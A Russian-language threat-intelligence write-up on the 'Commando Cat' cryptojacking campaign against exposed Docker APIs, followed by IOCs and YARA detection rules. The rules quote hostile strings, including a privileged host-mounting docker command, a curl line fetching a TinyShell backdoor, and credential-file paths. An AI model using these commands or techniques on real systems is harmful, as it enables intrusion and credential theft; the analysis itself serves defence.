Исследователи из Cado Security Labs (теперь в составе Darktrace) обнаружили новую вредоносную кампанию, названную "Commando Cat", которая нацелена на открытые конечные точки Docker API. Это уже вторая атака на Docker с начала 2024 года после недавнего внедрения вредоносного приложения 9hits. Атаки на Docker остаются распространенным явлением, особенно в облачных средах, демонстрируя растущую решимость злоумышленников эксплуатировать уязвимости сервиса.
Описание
Commando Cat представляет собой криптоджекинг-кампанию (cryptojacking), использующую Docker как вектор первоначального доступа. Злоумышленники злоупотребляют службой для монтирования файловой системы хоста с последующим запуском серии взаимосвязанных полезных нагрузок непосредственно на хосте. Эти нагрузки регистрируют устойчивость, активируют бэкдор, похищают учетные данные облачных сервисов и запускают майнер.
Кампания начинается с доставки полезных нагрузок на экспонированные экземпляры Docker API через IP-адрес 45[.]9.148.193, который одновременно служит командным сервером (C2). Злоумышленник использует образ Docker cmd.cat/chattr, маскируя вредоносные действия под легитимный инструмент. Специальная команда позволяет выполнить выход из контейнера на host-ОС через chroot, после чего проверяет наличие определенных сервисов и запускает процесс заражения.
Основной скрипт user.sh создает бэкдор в системе, добавляя SSH-ключ к учетной записи root и создавая пользователя "games" с известным злоумышленнику паролем. Хотя скрипт содержит ошибку, ломающую аутентификацию по открытому ключу, доступ по паролю остается работоспособным. Дополнительный скрипт tshd.sh развертывает бэкдор TinyShell (tsh), который прослушивает порт 2180 и использует жестко заданный ключ шифрования.
Скрипт gsc.sh внедряет усовершенствованную версию netcat под названием gs-netcat, способную обходить NAT и межсетевые экраны. Для обеспечения устойчивости создается служба systemd, а процесс скрывается с помощью необычного механизма маскировки через bind mount. Скрипт aws.sh занимается сбором учетных данных из различных файлов, переменных среды и метаданных IMDS, демонстрируя сходство с инструментарием группы TeamTNT.
Финальная полезная нагрузка доставляется в base64-кодированном виде и выполняет две основные функции: развертывание майнера XMRig и "защиту" Docker от других злоумышленников. Майнер маскируется под системные процессы docker-cache и docker-proxy, а его деятельность скрывается от системного мониторинга. Особый интерес представляет техника блокирования Docker Registry через изменение файла hosts, что предотвращает конкуренцию со стороны других attackers, при этом сохраняя возможность собственного доступа через предварительно загруженный образ Alpine.
Несмотря на скриптовую природу, Commando Cat демонстрирует высокую изощренность с значительной избыточностью и уклонением от обнаружения. Использование нестандартного скрытия процессов и блокирование реестра Docker являются новаторскими техниками. Кампания сочетает в себе функции похитителя учетных данных, скрытого бэкдора и криптомайнера, что делает ее многогранной угрозой для облачных сред. Сходство с инструментарием TeamTNT и использование того же провайдера для C2-инфраструктуры может указывать на деятельность группы-последователя.
Индикаторы компрометации
IPv4
- 103.127.43.208
- 45.9.148.193
MD5
- 25c00d4b69edeef1518f892eff918c2c
- 5ea102a58899b4f446bb0a68cd132c1d
- 73432d368fdb1f41805eba18ebc99940
- ec2882928712e0834a8574807473752a
SHA256
- 185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0
Yara Rule
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 | rule Stealer_Linux_CommandoCat { meta: description = "Detects CommandoCat aws.sh credential stealer script" license = "Apache License 2.0" date = "2024-01-25" hash1 = "185564f59b6c849a847b4aa40acd9969253124f63ba772fc5e3ae9dc2a50eef0" strings: // Constants $const1 = "CRED_FILE_NAMES" $const2 = "MIXED_CREDFILES" $const3 = "AWS_CREDS_FILES" $const4 = "GCLOUD_CREDS_FILES" $const5 = "AZURE_CREDS_FILES" $const6 = "VICOIP" $const7 = "VICHOST" // Functions $func1 = "get_docker()" $func2 = "cred_files()" $func3 = "get_azure()" $func4 = "get_google()" $func5 = "run_aws_grabber()" $func6 = "get_aws_infos()" $func7 = "get_aws_meta()" $func8 = "get_aws_env()" $func9 = "get_prov_vars()" // Log Statements $log1 = "no dubble" $log2 = "-------- PROC VARS -----------------------------------" $log3 = "-------- DOCKER CREDS -----------------------------------" $log4 = "-------- CREDS FILES -----------------------------------" $log5 = "-------- AZURE DATA --------------------------------------" $log6 = "-------- GOOGLE DATA --------------------------------------" $log7 = "AWS_ACCESS_KEY_ID : $AWS_ACCESS_KEY_ID" $log8 = "AWS_SECRET_ACCESS_KEY : $AWS_SECRET_ACCESS_KEY" $log9 = "AWS_EC2_METADATA_DISABLED : $AWS_EC2_METADATA_DISABLED" $log10 = "AWS_ROLE_ARN : $AWS_ROLE_ARN" $log11 = "AWS_WEB_IDENTITY_TOKEN_FILE: $AWS_WEB_IDENTITY_TOKEN_FILE" // Paths $path1 = "/root/.docker/config.json" $path2 = "/home/*/.docker/config.json" $path3 = "/etc/hostname" $path4 = "/tmp/..a.$RANDOM" $path5 = "/tmp/$RANDOM" $path6 = "/tmp/$RANDOM$RANDOM" condition: filesize < 1MB and all of them } rule Backdoor_Linux_CommandoCat { meta: description = "Detects CommandoCat gsc.sh backdoor registration script" license = "Apache License 2.0" date = "2024-01-25" hash1 = "d083af05de4a45b44f470939bb8e9ccd223e6b8bf4568d9d15edfb3182a7a712" strings: // Constants $const1 = "SRCURL" $const2 = "SETPATH" $const3 = "SETNAME" $const4 = "SETSERV" $const5 = "VICIP" $const6 = "VICHN" $const7 = "GSCSTATUS" $const8 = "VICSYSTEM" $const9 = "GSCBINURL" $const10 = "GSCATPID" // Functions $func1 = "hidfile()" // Log Statements $log1 = "run gsc ..." // Paths $path1 = "/dev/shm/.nc.tar.gz" $path2 = "/etc/hostname" $path3 = "/bin/gs-netcat" $path4 = "/etc/systemd/gsc" $path5 = "/bin/hid" // General $str1 = "mount --bind /usr/foo /proc/$1" $str2 = "cp /etc/mtab /usr/t" $str3 = "docker run -t -v /:/host --privileged cmd.cat/tar tar xzf /host/dev/shm/.nc.tar.gz -C /host/bin gs-netcat" condition: filesize < 1MB and all of them } rule Backdoor_Linux_CommandoCat_tshd { meta: description = "Detects CommandoCat tshd TinyShell registration script" license = "Apache License 2.0" date = "2024-01-25" hash1 = "65c6798eedd33aa36d77432b2ba7ef45dfe760092810b4db487210b19299bdcb" strings: // Constants $const1 = "SRCURL" $const2 = "HOME" $const3 = "TSHDPID" // Functions $func1 = "setuptools()" $func2 = "hidfile()" $func3 = "hidetshd()" // Paths $path1 = "/var/tmp" $path2 = "/bin/hid" $path3 = "/etc/mtab" $path4 = "/dev/shm/..tshdpid" $path5 = "/tmp/.tsh.tar.gz" $path6 = "/usr/sbin/tshd" $path7 = "/usr/foo" $path8 = "./tshd" // General $str1 = "curl -Lk $SRCURL/bin/tsh/tsh.tar.gz -o /tmp/.tsh.tar.gz" $str2 = "find /dev/shm/ -type f -size 0 -exec rm -f {} \\;" condition: filesize < 1MB and all of them } |